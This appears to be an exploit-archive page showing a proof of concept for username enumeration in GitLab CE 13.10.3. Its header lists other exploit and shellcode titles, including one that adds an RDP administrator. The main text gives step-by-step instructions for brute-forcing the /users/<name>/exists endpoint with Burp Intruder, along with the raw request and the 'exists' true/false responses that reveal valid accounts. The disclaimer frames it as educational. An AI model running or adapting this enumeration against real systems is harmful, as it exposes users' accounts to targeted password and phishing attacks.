dcd1229758
7 changes to exploits/shellcodes GetSimple CMS Custom JS 0.1 - CSRF to XSS to RCE Voting System 1.0 - Time based SQLI (Unauthenticated SQL injection) Piwigo 11.3.0 - 'language' SQL GitLab Community Edition (CE) 13.10.3 - User Enumeration GitLab Community Edition (CE) 13.10.3 - 'Sign_Up' User Enumeration Windows/x64 - Dynamic Null-Free WinExec PopCalc Shellcode (205 Bytes) Windows/x64 - Dynamic NoNull Add RDP Admin (BOKU:SP3C1ALM0V3) Shellcode (387 Bytes)
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4 KiB
Ruby
Executable file
82 lines
No EOL
4 KiB
Ruby
Executable file
# Exploit Title: GitLab Community Edition (CE) 13.10.3 - 'Sign_Up' User Enumeration
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# Date: 4/29/2021
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# Exploit Author: @4D0niiS [https://github.com/4D0niiS]
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# Vendor Homepage: https://gitlab.com/
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# Version: 13.10.3
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# Tested on: Kali Linux 2021.1
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INFO: An unauthenticated attacker can remotely enumerate the existence of different usernames in her victim's GitLab CE instance by leveraging its sign_up page [Ex: http://gitlab.local/users/sgin_up].
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DISCLAIMER: Do not test this method against GitLab.com. Also keep in mind that this PoC is meant only for educational purpose and ethical use. Testing it against systems that you do not own or have the right permission is totally on your own risk.
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STEPS: The required steps for this purpose are as follows:
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1- fill in the "username" field on sign_up form with something and ensure it is validating the entered username
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2- repeat step1 (with username: testuser) while you are intercepting the created request with a proxy tool like Burp Suite. You should see a request similar to the one bellow:
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----------------------------------------------------------------------------------------------------------------------------------------------------------------
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GET /users/testuser/exists HTTP/1.1
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Host: 127.0.0.1
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User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0
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Accept: application/json, text/plain, /
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Referer: http://127.0.0.1/users/sign_up
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X-CSRF-Token: <some value>
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X-Requested-With: XMLHttpRequest
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Connection: close
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Cookie: experimentation_subject_id=<some value>; known_sign_in=<some value>; _gitlab_session=<some value>
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----------------------------------------------------------------------------------------------------------------------------------------------------------------
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* note that the tested username (testuser) is in URI
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3- Send this request to Burp's intruder and run a brute force attack on it by replacing "testuser" in the URI as the enumeration parameter.
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4- Valid usernames can be found by looking for the statement {"exists":true} in responses. On the other hand, invalid ones give {"exists":false} in responses. So you can find valid users by analyzing the responses. Take the following examples:
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-------------------------------------------The following response belongs to a valid user ------------------------------------------
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HTTP/1.1 200 OK
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Server: nginx
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Date: Mon, 19 Apr 2021 09:52:44 GMT
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Content-Type: application/json; charset=utf-8
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Content-Length: 15
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Connection: close
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Cache-Control: max-age=0, private, must-revalidate
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Etag: W/"8063e5a51719c58189c7d5209a5f37b3"
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Page-Title: GitLab
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Set-Cookie: _gitlab_session=<some value>; path=/; expires=Mon, 19 Apr 2021 11:52:44 GMT; HttpOnly
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X-Content-Type-Options: nosniff
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X-Download-Options: noopen
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X-Frame-Options: DENY
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X-Gitlab-Feature-Category: users
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X-Permitted-Cross-Domain-Policies: none
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X-Request-Id: 01F3MRQTB94MT0HQXE0NMEMP7F
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X-Runtime: 0.221557
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X-Ua-Compatible: IE=edge
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X-Xss-Protection: 1; mode=block
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Strict-Transport-Security: max-age=31536000
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Referrer-Policy: strict-origin-when-cross-origin
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{"exists":true}
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-------------------------------------------The following response belongs to an invalid user ------------------------------------------
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HTTP/1.1 200 OK
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Server: nginx
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Date: Mon, 19 Apr 2021 09:55:34 GMT
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Content-Type: application/json; charset=utf-8
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Content-Length: 16
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Connection: close
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Cache-Control: max-age=0, private, must-revalidate
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Etag: W/"e39f603a5ebcff23859d200f9c9dc20f"
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Page-Title: GitLab
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Set-Cookie: _gitlab_session=<some value>; path=/; expires=Mon, 19 Apr 2021 11:55:34 GMT; HttpOnly
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X-Content-Type-Options: nosniff
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X-Download-Options: noopen
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X-Frame-Options: DENY
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X-Gitlab-Feature-Category: users
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X-Permitted-Cross-Domain-Policies: none
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X-Request-Id: 01F3MRX0GJGG1DE8RPKPCVC7Q0
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X-Runtime: 0.033046
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X-Ua-Compatible: IE=edge
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X-Xss-Protection: 1; mode=block
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Strict-Transport-Security: max-age=31536000
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Referrer-Policy: strict-origin-when-cross-origin
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{"exists":false} |